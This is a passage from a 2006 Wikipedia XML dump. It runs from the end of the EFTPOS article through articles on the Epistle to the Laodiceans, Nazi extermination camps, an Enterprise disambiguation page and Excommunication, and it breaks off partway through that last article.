Over recent years, in [[Germany]] EFTPOS has gained tremendously in acceptance. Facilities already existed before EFTPOS became popular with the Eurocheque card (Eurocheque was originally a system of paper cheques. In addition to the actual cheques, customers were issued a card, which needed to be shown along side the cheque as security measure. Those cards could and can also be used on ATM Terminals and at EFTPOS, which is nowadays their only function, since the Eurocheque system (along with the name, but they're still referred to as Eurocheque cards by most people) was abandoned in 2002 during the transition from [[Deutsche Mark]] to the [[Euro]]). In 2005, one must actively search for a store or petrol station without EFTPOS facilities. Processing fees are deducted from businesses, and because of this, some business owners refuse EFTPOS-sales for totals below a certain amount, usually 5 or 10 Euros.

Around 2000, an alternative method for EFTPOS payment was introduced, dubbed &quot;Geldkarte&quot; (&quot;money card&quot;). It uses a smart card chip on the front of a standard issue Eurocheque card (which still had the magnetic stripe on the back). This chip can be loaded with up to 200 Euros, and is advertised as means for medium to very small payments, down to the low euro or even cent range, as no processing fees are deducted by banks. It has not gained the popularity its inventors have hoped for, however this could change when this chip will be used as means of age verification at cigarette vending machines, which will become mandatory in 2007.

=== Chile ===
[[Chile]] has an EFTPOS system called ''Redcompra'' (Purchase Network) which is currently used in at least 23,000 establishments throughout the country. Goods may be purchased using this system at most supermarkets, retail stores, pubs and restaurants in major urban centers.

=== The Netherlands ===

In [[The Netherlands]] using EFTPOS is known as ''pinnen'' ('''pin'''ning), a term derived from the use of a [[Personal Identification Number]]. PINs are also used for [[ATM]] transactions, and the term is used interchangeably by many people, although it was introduced as a marketing brand for EFTPOS. The system was launched in 1987, and [[2006|currently]] has 166,375 terminals throughout the country, including mobile terminals used by delivery services and on markets. All banks offer a debit card suitable for EFTPOS with current accounts.

PIN transactions are usually free to the customer, but the retailer is charged per-transaction and monthly fees. [http://www.interpay.nl Interpay], an association with all major banks as its members, runs the system, and until August 2005 also charged for it. Responding to allegations of monopoly abuse, it has handed over contractual responsibilities to its member banks, who now offer competing contracts. Interpay was fined EUR 47 million in 2004, but the fine was later dropped, and a related fine for banks was lowered from EUR 17 to EUR 14 million. Per-transaction fees are between 5-10 eurocents, depending on volume.

Credit cards use in The Netherlands is very low, and most credit cards cannot be used with EFTPOS, or charge very high fees to the customer. Furthermore, debit cards can be used in the entire EU for EFTPOS, and most debit cards are [[Cirrus (interbank network)|Cirrus]] cards.

==See also==
*[[Transaction Types Over POS Terminal]]


==Some EFT/POS Manufacturers==

*[http://www.the-logic-group.com The Logic Group]
*[http://www.ossi.com OSSI Customized POS/Organization Solutions]
*[http://www.axalto.com Axalto]
*[http://www.hypercom.com/ Hypercom]
*[http://www.ingenico.com/ Ingenico]
*[http://www.sagem.com Sagem]
*[http://www.trintech.com Trintech]
*[http://www.verifone.com/ Verifone]
*[http://www.thales-esecurity.com Thales]
*[[Banksys]]
[[Category:Payment systems]]
[[Category:Electronic commerce]]

[[de:POS-Terminal]]
[[Category:Electronic commerce]]</text>
    </revision>
  </page>
  <page>
    <title>Epistle to the Laodiceans</title>
    <id>10334</id>
    <revision>
      <id>41608589</id>
      <timestamp>2006-02-28T13:59:55Z</timestamp>
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        <username>Bluebot</username>
        <id>527862</id>
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      <comment>clean up and bulleting external links using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Wikisource|Epistle to the Laodiceans}}

An '''Epistle to the Laodiceans''', consisting of 20 short lines, is found in some editions of the [[Vulgate]], known only in [[Latin]], purporting to be the [[epistle]] of [[Paul of Tarsus|Paul]] to the [[Denizli|Laodiceans]] mentioned in the [[Epistle to the Colossians]]. It is almost unanimously believed to be [[pseudepigraphical]], being a [[pastiche]] of phrases taken from the genuine Pauline epistles. [[Adolf von Harnack]] suggested that it was written by either [[Marcion]] or one of his followers, also claimed by the [[Muratorian fragment]] and named as part of Marcion's Bible canon, but despite scholarly examination his suggestion cannot be substantiated or denied. In any case, this little work contains almost no doctrine, teachings or narrative not found elsewhere, and its exclusion from the [[Biblical canon]] has little effect.

The text was almost unanimously considered pseudepigraphal when Biblical canon was decided upon, and does not appear in any Greek copies of the Bible at all, nor is it known in Syriac or other versions.  [[Jerome]] wrote in the 4th century, &quot;it is rejected by everyone&quot; (Lives of Illustrious Men, Chapter 5).  However, it evidently gained a certain degree of respect.  It appeared in over 100 surviving early Latin copies of the Bible.  According to Biblia Sacra iuxta vulgatum versionem, there are Latin Vulgate manuscripts containing this epistle dating between the 6th and 12th century, including Latin manuscripts F (Fuldensis), M, Q, B, D (Ardmachanus), C, and Lambda.  The epistle also appeared in all the early German translations before [[Martin Luther]]'s, and was thus evidently considered canon by much of the western church for quite some time.

In the [[Epistle to the Colossians]], Paul, after instructing them to send an Epistle to Laodicea, adds: &quot;read that which is from the Laodiceans&quot;. This most probably regards a circular letter, the canonical &quot;Ephesians&quot;; but it has been held to be a lost letter to the Laodicean Christians. The apocryphal epistle is generally considered a transparent attempt to supply this supposed lost sacred document. 

{{Catholic}}

==External links==
*[http://www.comparative-religion.com/christianity/apocrypha/new-testament-apocrypha/4/7.php M.R. James' translation and commentary] at [http://www.comparative-religion.com/ Comparative-Religion.Com]

[[Category:Christian texts]]
[[Category:New Testament Apocrypha]]</text>
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    <title>Nazi extermination camp</title>
    <id>10335</id>
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      <id>42121082</id>
      <timestamp>2006-03-03T23:30:45Z</timestamp>
      <contributor>
        <username>No Guru</username>
        <id>44087</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.103.169.198|71.103.169.198]] to last version by UkPaolo</comment>
      <text xml:space="preserve">{{The Holocaust}}
'''Extermination camp''' ([[German language|German]]: ''Vernichtungslager'') or '''Death Camp''' was the term applied to a group of facilities set up by [[Nazi Germany]] during [[World War II]] for the express purpose of killing the [[Jew]]s of [[Europe]], although members of some other groups whom the Nazis wished to exterminate, such as [[Roma (people)|Roma]] (Gypsies), [[Soviet Union|Soviet]] [[prisoners of war]], [[Poland|Poles]] and many others, were also killed in these camps. Prisoners at these camps were not expected to live more than 24 hours beyond arrival. This was part of what has become known as [[the Holocaust]].

==Terminology==
Extermination camps are distinguished from [[Nazi concentration camps|concentration camps]] (such as [[Dachau concentration camp|Dachau]] and [[Belsen]]), which were mostly located in Germany and intended as places of incarceration and [[Slave labour|forced labour]] for a variety of &quot;enemies of the state&quot; of the Nazi [[regime]] (such as [[Communists]] and [[homosexuality|homosexuals]]). In the early years of the Nazi regime, many Jews were sent to these camps, but after [[1942]] all Jews were [[Deportation|deported]] to the extermination camps.

They should also be distinguished from slave [[labor camp]]s, which were set up in all German-occupied countries to exploit the labor of prisoners of various kinds, including prisoners of war. Many Jews were worked to death in these camps, but eventually the Jewish labour force, no matter how useful to the German war effort, was destined for extermination. In all Nazi camps there were very high death rates as a result of [[starvation]], [[disease]] and [[exhaustion]], but only the extermination camps were designed specifically for mass killing.

==The camps==
[[Image:Massdeportations.gif|thumb|360px|right|Major deportation routes to the [[extermination camps]] in Europe.]]
Most accounts of the Holocaust recognise six extermination camps, all located in occupied [[Poland]]. These were:

* [[Auschwitz concentration camp#Auschwitz II (Birkenau)|Auschwitz II (Auschwitz-Birkenau)]] ([[Auschwitz concentration camp#Auschwitz I|Auschwitz I]] was a [[concentration camp]] and [[Auschwitz concentration camp#Auschwitz III|Auschwitz III]] a [[labor camp]])
* [[Belzec]]
* [[Chelmno concentration camp|Chelmno]] (German: Kulmhof an der Nehr, Polish: Chelmno nad Nerem)
* [[Majdanek]]
* [[Sobibór]]
* [[Treblinka extermination camp|Treblinka]]

Of these, Auschwitz II and Chelmno were located within areas of western Poland [[annexed]] by Germany - the other four were located within the [[General Government]] area.

A seventh camp, much less known than these six, was located at [[Maly Trostenets]], in present-day [[Belarus]]. The [[Croatia]]n [[Ustase|Ustaše]] puppet regime also operated an [[Jasenovac concentration camp|extermination camp at Jasenovac]].

[[Treblinka]], [[Belzec]] and [[Sobibór]] were constructed during [[Operation Reinhard]], the [[codename]] for the systematic killing of the Jews of Europe, widely known under the [[euphemism]], the &quot;[[final solution|final solution of the Jewish question]]&quot; (''Endlösung der Judenfrage''). The operation was decided at the [[Wannsee Conference]] of January [[1942]] and carried out under the administrative control of [[Adolf Eichmann]].

While Auschwitz II was part of a [[labour camp]] complex, and Majdanek also had a labour camp, the Reinhard camps and [[Chełmno extermination camp|Chelmno]]  were ''pure'' extermination camps, built solely to kill vast numbers of Jews within hours of arrival &amp;ndash; the only prisoners sent to these camps not immediately murdered were those used as slave labour directly concerning the extermination process (e.g. to remove the corpses from the gas chambers).  These camps were small in size &amp;ndash; only several hundred meters on each side &amp;ndash; as only minimal housing and support facilities were required. Arriving persons were told that they were merely at a transit stop for relocation east.

In addition, many non-Jews were also killed in these camps, mostly (non-Jewish) Poles and Soviet prisoners of war. 

The number of people killed at the seven major camps has been estimated as follows:
* Auschwitz II: about 1,100,000
* Belzec: 436,000
* Chelmno: 340,000
* Majdanek: 78,000 {{ref|Majdanek}} - 235,000
* Sobibór: 260,000
* Treblinka: at least 700,000, possibly over 1,000,000
* Maly Trostenets: at least 200,000, possibly over 500,000

This gives a total of at least 3,100,000, and possibly 3,800,000. Of these, over 90% were Jews. These seven camps thus accounted for about half the total number of Jews killed in the entire Nazi Holocaust, including almost the whole Jewish population of Poland.

==Operation of the camps==
[[image:Majdanek piece.jpg|thumb|300px|right|[[Majdanek]] - crematorium]]
The method of killing at these camps was by [[poison gas]], usually in &quot;[[gas chambers]]&quot;, although many prisoners were killed in mass shootings and by other means. The bodies of those killed were destroyed in [[crematorium|crematoria]] (except at [[Sobibór]] where they were cremated on outdoor [[pyre]]s), and the ashes buried or scattered.

The camps differed slightly in operation, but all were designed to kill as efficiently as possible.  SS Lt. [[Kurt Gerstein]], who worked in the SS medical service, for example, testified to a Swedish diplomat during the war about what he had seen at the camps.  He describes how he arrived at [[Belzec]] on [[August 19]] [[1942]] (at the time, the camp was still using primarily carbon monoxide from a gas engine in its gas chambers), where he was proudly shown the unloading of 45 train cars stuffed with 6700 Jews, many of whom were already dead, but the rest were marched naked to the gas chambers, where, he said:

&lt;blockquote&gt;Unterscharführer Hackenholt was making great efforts to get the engine running. But it doesn't go. Captain Wirth comes up. I can see he is afraid because I am present at a disaster. Yes, I see it all and I wait. My stopwatch showed it all, 50 minutes, 70 minutes, and the diesel did not start. The people wait inside the gas chambers. In vain. They can be heard weeping, &quot;like in the synagogue,&quot; says Professor Pfannenstiel, his eyes glued to a window in the wooden door. Furious, Captain Wirth lashes the Ukrainian assisting Hackenholt twelve, thirteen times, in the face. After 2 hours and 49 minutes - the stopwatch recorded it all - the diesel started. Up to that moment, the people shut up in those four crowded chambers were still alive, four times 750 persons in four times 45 cubic meters. Another 25 minutes elapsed. Many were already dead, that could be seen through the small window because an electric lamp inside lit up the chamber for a few moments. After 28 minutes, only a few were still alive. Finally, after 32 minutes, all were dead...Dentists hammered out gold teeth, bridges and crowns. In the midst of them stood Captain Wirth. He was in his element, and showing me a large can full of teeth, he said: &quot;See for yourself the weight of that gold! It's only from yesterday and the day before. You can't imagine what we find every day - dollars, diamonds, gold. You'll see for yourself!&quot;&lt;/blockquote&gt;

==Post war==
As the Soviet armed forces advanced into Poland in [[1944]], the camps were closed and partly or completely dismantled to conceal what had taken place in them. The [[postwar]] Polish Communist government further partly dismantled the camps, and generally allowed the sites to decay. [[Monument]]s of various kinds were erected at the sites of the former camps; these usually did not mention that most of the people killed in them were Jews.

After the [[History of Poland (1989-present)#Roundtable Talks and Elections|fall of communism]] in [[1989]], the camp sites became more accessible and have become centres of [[tourism]], particularly at Auschwitz, the best-known of them. There has been a series of disputes between the Jewish organisations and the Polish about what is appropriate at these sites. Some Jewish groups have objected strongly to the erection of [[Christian]] [[memorial]]s at the camps. In the most notable case (the [[Auschwitz cross]]), the cross was located near concentration camp Auschwitz I, where most of the victims were Poles, not the extermination camp Auschwitz II.

===Holocaust denial===
{{main|Holocaust denial}}
Some groups and individuals deny the existence of Nazi extermination camps.  For example, [[Robert Faurisson]] claimed in [[1979]] that &quot;the Nazis did not have gas chambers and did not attempt a genocide of Jews. He contended that the 'myth' of the gas chambers had been promoted by [[Zionist]]s...for the benefit of the state of [[Israel]] and to the detriment of Germans and [[Palestinians]].&quot; 

Scholars and historians point out that Holocaust denial is [[Contradiction|contradicted]] by the testimonies of survivors and perpetrators, material evidence, and photographs, as well as by the Nazis' own record-keeping. Efforts such as the [[Nizkor Project]], [[Deborah Lipstadt]], [[John Keegan]], [[Raul Hilberg]] who published [[The Destruction of the European Jews]], [[Lucy Davidowicz]] published [[The War Against the Jews]], [[Norman Davies]], [[Primo Levi]], [[Simon Wiesenthal]] and his [[Simon Wiesenthal Center]], and more at [[Holocaust (resources)#External links|Holocaust resources]], all [[Examination of Holocaust denial|track and explain Holocaust denial]].

==Notes==	 
* {{note|Majdanek}} A recent study radically revised downward the estimated number of deaths at Majdanek. According to a piece &quot;Majdanek Victims Enumerated&quot; by Paweł P. Reszka, Lublin, ''Gazeta Wyborcza'' [[12 December]] [[2005]], [http://www.auschwitz-muzeum.oswiecim.pl/new/index.php?tryb=news_big&amp;language=EN&amp;id=879 reproduced] on the site of the Auschwitz-Birkenau Museum, Lublin scholar Tomasz Kranz has recently established this number, and the Majdanek museum staff consider it to be authoritative. Earlier estimates were considerably higher: 360,000, in a much-cited 1948 publication by Zdzisław Łukaszkiewicz, a judge who was a member of the Main Commission for the Investigation of Nazi Crimes in Poland, and 235,000, from a 1992 article by Dr. Czesaw Rajca, now retired from the Majdanek museum staff.

==Further reading==

*''Holocaust Journey: Travelling in Search of the Past'', Martin Gilbert, Phoenix 1997, gives a good account of the sites of the extermination camps as they are today, plus a great deal of historical information about them and about the fate of the Jews of Poland.

[[da:Nazisternes kz-lejre]]
[[de:Vernichtungslager]]
[[el:Ναζιστικά στρατόπεδα εξόντωσης]]
[[es:Campo de exterminio]]
[[fr:Camp d'extermination]]
[[he:מחנה השמדה]]
[[it:Campo di sterminio]]
[[nl:Vernietigingskamp]]
[[pl:Obóz zagłady]]
[[pt:Campo de extermínio]]
[[sl:uničevalno taborišče]]
[[fi:Tuhoamisleiri]]
[[sv:Förintelseläger]]

[[Category:Holocaust]]
[[Category:Nazi Germany]]
[[Category:Nazi extermination camps| ]]</text>
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  </page>
  <page>
    <title>Enterprise</title>
    <id>10336</id>
    <revision>
      <id>39632108</id>
      <timestamp>2006-02-14T20:35:18Z</timestamp>
      <contributor>
        <username>Peruvianllama</username>
        <id>43680</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/128.172.143.206|128.172.143.206]] ([[User talk:128.172.143.206|talk]]) to last version by Normxxx</comment>
      <text xml:space="preserve">'''Enterprise''' (occasionally archaically spelt '''enterprize''') can refer to any of the following:

==Psychology==
* an attitude or a [[character structure|character]] [[Trait (biological)|trait]] conducive to undertaking bold [[venture]]s or actions, especially ventures involving [[risk]]
* a bold venture, particularly one of [[exploration]] or one that seeks inordinate [[profit]]
* &quot;Boldness, energy, and invention in practical affairs.&quot; (according to [[Dictionary of American Naval Fighting Ships|DANFS]])

==Economics and business==
* Almost any [[business]] or [[organization]] can be called an enterprise, possibly led by an [[entrepreneur]].
* [[Enterprise Rent-A-Car]], specific [[rental car | car-rental]] agency: 
*&quot;Enterprise&quot; was the informal name of [[STTGI|Stanford Technology Trading Group International (STTGI)]], a [[United States|U.S.]] weapons-dealing company involved in the [[Iran-Contra Affair]].
* [[Subud Enterprise Services]], any entreprenurial activity undertaken by a member of the spiritual organization [[Subud]].
* [[Enterprise edition]]: A large [[commerce | commercial]] establishment (more specifically  when viewed in [[marketing]] terms, and especially for the purposes of [[computer]] marketing and/or licencing.
* [[Farm enterprise]]: component of a [[farm]] business, e.g. a farm may include an [[arable]] enterprise and a [[dairy]] enterprise
* [[Free enterprise]]: a type of [[economic system|economy]]; a loose synonym for implemented [[capitalism]]

==Ships and boats==
* [[USS Enterprise|USS ''Enterprise'']], one of several ships of the [[United States Navy]].
* [[HMS Enterprise|HMS ''Enterprise'']] or ''Enterprize'', one of several ships of the [[Royal Navy]].
* [[Enterprise (steamboat)|''Enterprise'']], a privately-owned [[steamboat]] captained by [[Henry Miller Shreve]].
* Enterprise, one of the ships especially built for the upcoming China trade in the early 19th century, owned by the fur trader and multimillionaire [[John Jacob Astor]] of [[New York]].
* The [[Enterprise (dinghy)|International Enterprise]] sailing dinghy.
* [[Enterprize (1829)|Enterprize]], an 1829-built schooner - [[Melbourne]]'s [[tall ship]].
* [[Enterprise (balloon)|Enterprise]] was a [[hot air balloon]] used by the [[Union Army]] during the [[American Civil War|Civil War]].

== Spacecraft==
===Non-fictional===
* [[Space Shuttle Enterprise]].
* [[VSS Enterprise]], the proposed inaugural vessel of the [[Virgin Galactic]] suborbital tourism fleet, an endeavor of [[Richard Branson]].

=== Fictional ===
* ''[[Star Trek: Enterprise]]'', a [[television]] show in the [[Star Trek]] franchise (formerly titled ''Enterprise'').
* One of a number of [[starship]]s from the fictional [[Star Trek]] universe, see [[Starship Enterprise]]:
**[[Enterprise (NX-01)|''Enterprise'' (NX-01)]] from [[Star Trek: Enterprise]]
**[[USS Enterprise (NCC-1701)|USS ''Enterprise'' (NCC-1701)]] from [[Star Trek: The Original Series]]
**[[USS Enterprise (NCC-1701-A)|USS ''Enterprise'' (NCC-1701-A)]] from films [[Star Trek IV: The Voyage Home|IV]], [[Star Trek V: The Final Frontier|V]], and [[Star Trek VI: The Undiscovered Country|VI]]
**[[USS Enterprise (NCC-1701-B)|USS ''Enterprise'' (NCC-1701-B)]] from [[Star Trek: Generations]]
**[[USS Enterprise (NCC-1701-C)|USS ''Enterprise'' (NCC-1701-C)]] from one episode (&quot;[[Yesterday's Enterprise (TNG episode)|Yesterday's Enterprise]]&quot;) of [[Star Trek: The Next Generation]]
**[[USS Enterprise (NCC-1701-D)|USS ''Enterprise'' (NCC-1701-D)]] from [[Star Trek: The Next Generation]] and [[Star Trek: Generations]]
**[[USS Enterprise (NCC-1701-E)|USS ''Enterprise'' (NCC-1701-E)]] from [[Star Trek: First Contact|ST: First Contact]], [[Star Trek: Insurrection|ST: Insurrection]], and [[Star Trek: Nemesis|ST: Nemesis]]
**[[USS Enterprise (NCC-1701-F)|USS ''Enterprise'' (NCC-1701-F)]] from two novels: [[Peter David]]'s ''[[Imzadi]]'' and [[Judith Reeves-Stevens|Judith]] and [[Garfield Reeves-Stevens]]' ''[[Millennium (Star Trek)|Millennium]]''
**[[USS Enterprise (NCC-1701-J)|USS ''Enterprise'' (NCC-1701-J)]] from one episode (&quot;[[Azati Prime (Enterprise episode)|Azati Prime]]&quot;) of [[Star Trek: Enterprise]]
**Two known [[ISS Enterprise|ISS ''Enterprise'']]s from the [[Mirror Universe (Star Trek)|Mirror Universe]] (more from alternate realities of that universe are also featured in comics or novels)

== Computing ==
* [[Enterprise 64]], an 8-bit home computer from the [[UK]]; also known as ''Flan'' and ''Elan''
* [[Enterprise software]]

== Other connotations ==
* [[Enterprise, Alabama]]
* [[Enterprise, Northwest Territories]], a community in [[Northwest Territories]], [[Canada]] (postal code X0E 0R1)
* [[Enterprise, Florida]], a former railroad community now a suburb of [[Orlando, Florida]].
* [[enterprise culture]]
* [[enterprise zone]]
* [[social enterprise]]
* [[Enterprise (train)]] a [[Belfast]]-[[Dublin]] railway service.
* [[Kia Enterprise]], base by [[Mazda Sentia]], a car built by [[Kia Motors]].
{{disambig}}

[[cs:Enterprise]]
[[de:Enterprise]]
[[fr:Enterprise (homonymie)]]
[[ko:엔터프라이즈]]
[[it:Enterprise]]
[[nl:Enterprise]]
[[ja:エンタープライズ]]
[[pl:Enterprise]]
[[fi:Enterprise]]</text>
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  </page>
  <page>
    <title>Excommunicated</title>
    <id>10337</id>
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      <id>15908155</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Excommunication]]
</text>
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  </page>
  <page>
    <title>Excommunication</title>
    <id>10338</id>
    <revision>
      <id>42141073</id>
      <timestamp>2006-03-04T02:19:19Z</timestamp>
      <contributor>
        <username>Anacapa</username>
        <id>836070</id>
      </contributor>
      <minor />
      <comment>/* [[Mennonites]] */</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}} 
{{dispute}}
'''Excommunication''' is a religious censure which is used to deprive or suspend membership in a religious community.  The word literally means &quot;out of [[full communion|communion]],&quot; or, &quot;once was in communion, but now is not&quot;.  In some churches, excommunication includes spiritual [[condemnation]] of the subject member or group. Censures and sanctions sometimes ''follow'' excommunication such as [[banishment]], [[shunning]] or [[shaming]] depending on the group's religion, it's religious community or, it's broader religious community.  This article studies excommunication and spiritual condemnation often associated with excommunication, but not the religious censures and sanctions that ''follow'' excommunication.  

(Sections in alphabetical order.)''  

== Christianity ==
=== Anathema === 
The biblical basis of excommunication is ''[[anathema]]''. The references are found in [[Galatians]] 1:8 “But even if we, or an [[angel]] from [[Heaven#Heaven in Christianity|Heaven]], should preach to you a gospel contrary to what we have preached to you, he is to be '''anathema'''&quot;!  Then also, [[First Epistle to the Corinthians|1 Corinthians]] 16:22 &quot;If anyone does not love the Lord, he is to be '''anathema'''&quot;. The word can be translated several ways; the [[King James Version]] translates it ''accursed''. 

Anathema was used in the early church as a form of extreme religious sanction, beyond excommunication. The earliest recorded example was in [[306]]. The [[Roman Catholic]] church still makes use of the sanction, though it is rarely used against an individual. Some modern churches which seek to return to a New Testament form of Christianity refer to any form of exclusion as ''anathema''.

=== Calvin's view on excommunication ===
In [[John Calvin]]'s ''Institutes of The Christian Religion'', he said (4.12.10):
:For when our Saviour promises that what his servants bound on earth should be bound in heaven, ([[Gospel of Matthew|Matthew]] 18: 18), he confines the power of binding to the censure of the Church, which does not consign those who are excommunicated to perpetual ruin and [[Damnation#Religious|damnation]], but assures them, when they hear their life and manners condemned, that perpetual damnation will follow if they do not repent. [Excommunication] rebukes and [[animadvert]]s upon his manners; and although it ... punishes, it is to bring him to [[Salvation#Roman Catholicism|salvation]], by forewarning him of his future doom. If it succeeds, reconciliation and restoration to communion are ready to be given. ... Hence, though [[Ecclesiology|ecclesiastical discipline]] does not allow us to be on familiar and intimate terms with excommunicated persons, still we ought to strive by all possible means to bring them to a better mind, and recover them to the fellowship and unity of the Church: as the [[Apostle Paul|apostle]] also says, &quot;Yet count him not as an enemy, but admonish him as a brother&quot; ([[2 Thessalonians]] 3: 15). If this humanity be not observed in private as well as public, the danger is, that our discipline shall degenerate into destruction.

Some [[Reformed churches]] today do not make use of excommunication (or church discipline in its lesser forms), though it is often still required by their constitutions.

=== Roman Catholic Church ===
Excommunication is the most serious ecclesiastical penalty for [[Roman Catholic]]s.  While a person excommunicated is not damned by the Church, the person is barred from participating in its communal life.  The outward sign of this loss of community involves barring the person from participating in [[liturgy]], i.e., receiving the [[Eucharist]] or the other [[Sacrament]]s.  Certain other rights and privileges normally resulting from membership in the church are revoked, such as holding ecclesiastical [[office]]. Excommunication is intended to be only temporary, a &quot;medicinal&quot; procedure intended to guide the offender toward repentance.  In the [[Roman Catholic Church]] excommunication is usually terminated by [[repentance]], [[confession]], and absolution.  Offenses which incur excommunication must be absolved by a local [[ordinary]] ([[bishop]] or [[vicar general]]) or a priest whom the local ordinary designates.

The Roman Catholic Church has an extensive history of the uses of excommunication, especially during the [[Middle Ages]].  Popes and archbishops used excommunication as a weapon against high ranking officials and kings who fell out of favor with the Catholic Church.  Perceived abuse of this power, along with some other factors, led to the rise of the [[Protestant Reformation]].  With the rise of the idea of separation of church and state excommunication no longer has any civil effect. 
''([[List of people excommunicated by the Roman Catholic Church|Excommunications(List)]])''

==== Automatic excommunication ====
There are a few offenses for which Latin Rite Roman Catholics are automatically excommunicated (the Latin term is ''Latæ Sententiæ''):
# [[Apostasy]],
# [[Heresy]],
# [[Schism]],
# Desecration of the [[Eucharist]],
# Physical force against the [[Pope]],
# Attempted sacramental absolution of a partner in [[adultery]],
# [[Holy Orders|Ordination]] of a [[bishop]] without a Papal mandate (e.g. all bishops in the government-run Chinese Patriotic Church), 
# For non-electors present in the [[conclave]], revelation of the details of the conclave,
# [[Simony|Simoniacal]] provision of the Papal office,
# Violation of the sacramental seal of [[confession]] by a priest or bishop, and
# Procurement of a completed [[abortion]].

Unless the local ordinary or an ecclesiastical court [[fact (law)|finds]] that the offense in question occurred, the obligation to observe an automatic excommunication lies solely on the excommunicated (Can. 1331 &amp;sect;1).  Thus, even though an automatic excommunicant is forbidden to exercise any ecclesiastical offices, the excommunicant still retains the offices and all such acts are still valid acts under the law unless there has been a trial and finding of fact.  Once this occurs, all subsequent acts become void and all offices lost (Can. 1331 &amp;sect;2).

The removal of the excommunication incurred by offenses 4 through 8 is reserved to the [[Holy See]], either personally by the Pope or through the [[Apostolic Penitentiary]].

Some ecclesiastical offenses incur an automatic [[Interdict (Roman Catholic Church)|interdict]], which for a lay person is virtually equivalent to excommunication.  See that article for details.



===[[Amish]]===
{{pov}}
Jakob Ammann, founder of the Amish, believed that excommunication, should be regularly and systematically practiced among the Swiss Anabaptists as it was in the north and as it was outlined in the Dordrecht Confession to which they were supposed to adhere to (Hostetler, 1993 : 33, 35). Most more moderate Amish groups have become less strict in recent years in their application of excommunication as a discipline (Hostetler, 1993: 86). This has lead to splits in several communities, an example of which is the Swartzedruber Amish who split from the main body of Old Order Amish because of the latter's practice of lifting the ban from members who later join other churches. In general, the Amish will excommunicate baptised members for failure to abide by their Ordnung as it is interpreted by the local Bishop if certain repeat violations of the Ordnung occur. 

Excommunication results in [[shunning]], the severity of which depends on many factors, such as the family, the local community as well as the type of Amish. Some Amish communities cease shunning after one year if the person joins another church later on, especially if it is another Mennonite church, even if that church is much more liberal (Hostetler, 1993: 86). The relatively well-known Ruth Irene Garrett attempted unsuccessfully to have her ban lifted with membership in a Lutheran Church (Garrett, 2003: 122-128). 

Amish shunning can be quite severe, especially if people rely on business with Amish clients. Some feel that they must move away from their families, especially those who were baptised young and leave the church while still living with their parents at the time of their excommunication (Hostetler, 1993: 86). Among certain groups, there are ways around shunning. For example, a shunned person is not permitted to eat at the same table as a church member, however it is not unheard of for two tables to be set beside each other with a tablecloth overtop in order to abide by the shunning rule while at the same time eat with the person shunned (see [[Amish]]).

===[[Mennonites]]===
{{pov}}

[[Church of God in Christ, Mennonite]] Mennonites also known as Holdeman Mennonites excommunicate for failure to have 'the right spirit' among other things.

Among most [[Old Order Mennonite]] congregations an Old Order member who disobeys the church Ordnung must meet with the leaders of the church. If a church regulation is broken a second time there is a confession in the church. Those who refuse to confess are excommunicated (Scott, 1996:59). However upon later confession, the church member will no longer be excommunicated. An excommunicated member is placed under the ban which entails (what exactly?). This person is not banned from eating with their family (Scott, 1996:59).  However, depending on the reaction of the individual families, sometimes the [[shunning ]] can damage relationships. Excommunicated persons can still have business dealings with church members and can maintain sexual relations with a marriage partner who may still be a church member (Scott, 1996:59).

[[Stauffer Mennonites]] (700 members worldwide in 1990) have a stricter attitude (than who?) towards an excommunicated member (which is what?). (Scott, 1996:93). 

Reformed Mennonites (400 members worldwide in 1994 (Scott, 1996:111)), a Mennonite group which the mother of Milton Hershey belonged.  The Reformed Mennonites [[shun]]  excommunicated members (Scott, 1996:108).  Reformed Mennonites are one particular Mennonite Church which believes that they are the &quot;One True Church&quot; and members are not permitted to attend services with other denominations (Scott, 1996: 107).

[[David Martin Mennonites]] (ca. 400 members worldwide (Scott, 1996:67)) of Waterloo County, Ontario are an Old Order breakaway group that has sought to apply a strict excommunication. David Martin Mennonites try to keep an absolute minimal contact with other groups. (Scott, 1996:67). David Martin Mennonites have been known to even [[shun]] the children of baptised members who are excommunicated

Mainstream and progessive [[Mennonites]] continue to use excommunication as is evidenced by the recent excommunication of certain churches recently from certain conferences. For the largest Mennonite bodies, excommunication results in the inability of the excommunicated to participate in communion. By the time the Mennonites first came to America nearly the totality of Mennonites no longer followed Menno Simons's practice of social shunning and banned members were only removed from communion (MacMaster, 1985: 194). 
In most Mennonite churches the most severe sanction that is usually applied to a member is loss of church membership. Such a sanction is applied only in severe cases. A conference (group of churches) may also impose excommunication in extreme cases, effectively denying membership of all churches in the conference. The sanction was used relatively frequently in early Mennonite history, and was used by some Mennonite groups against other Mennonite groups in the past. However in recent times they have been very rare. Some groups inposed excommunication on people who joined the military (a defiance of core Mennonite beliefs) during the twentieth century. 

At the church level such a sanction is rare and is carried out only after many attempts at reconciliation and on someone who is flagrantly and repeatedly violating standards of behavior that the church expects.  Occasionally excommunication is also carried against those who repeatedly question ''the church's behavior'' and/or who genuinely differ with the church's theology as well, although in almost all cases the dissenter will leave the church before any discipline need be invoked. In either case it is the church will attempt reconciliation with member in private, first one on one and then with a few church leaders. Only if the church's reconciliation attempts are unsuccessful, the church leadership formally revokes  church membership.  Members of the church generally pray for the excluded member.

Forced loss of membership is extremely rare in mainstream Mennonite churches. Most congregations go for many decades without ever having to exclude a member.

===[[Hutterites]]===
{{POV-section}}

The separatist, communal, and self-contained [[Hutterites]] also use excommunication as discipline and shunning as form of punishment.   One Hutterite colony in Manitoba, Canada had a protracted dispute when leaders attempted to force the departure of a group that had been excommunicated but would not leave.  About a dozen lawsuits in both Canada and the United States were filed between the various Hutterite factions and colonies concerning excommunication, shunning, the legitimacy of leadership and communal property rights.

=== Eastern Orthodox Communion ===
In the [[Eastern Orthodoxy|Orthodox Church]], excommunication is the exclusion of a member from the [[Eucharist]].  It is not expulsion from the Church. This can happen due to minor reasons like not having confessed within that year or be imposed as part of a penitential period. It is generally done with the goal of eventually restoring the member to full communion. The Orthodox Church does have a means of expulsion, by pronouncing [[anathema]], but this is reserved only for acts of serious and unrepentant heresy. Even in that case, the individual is not &quot;damned&quot; by the Church but is instead left to his own devices.

=== The Church of Jesus Christ of Latter-day Saints ===
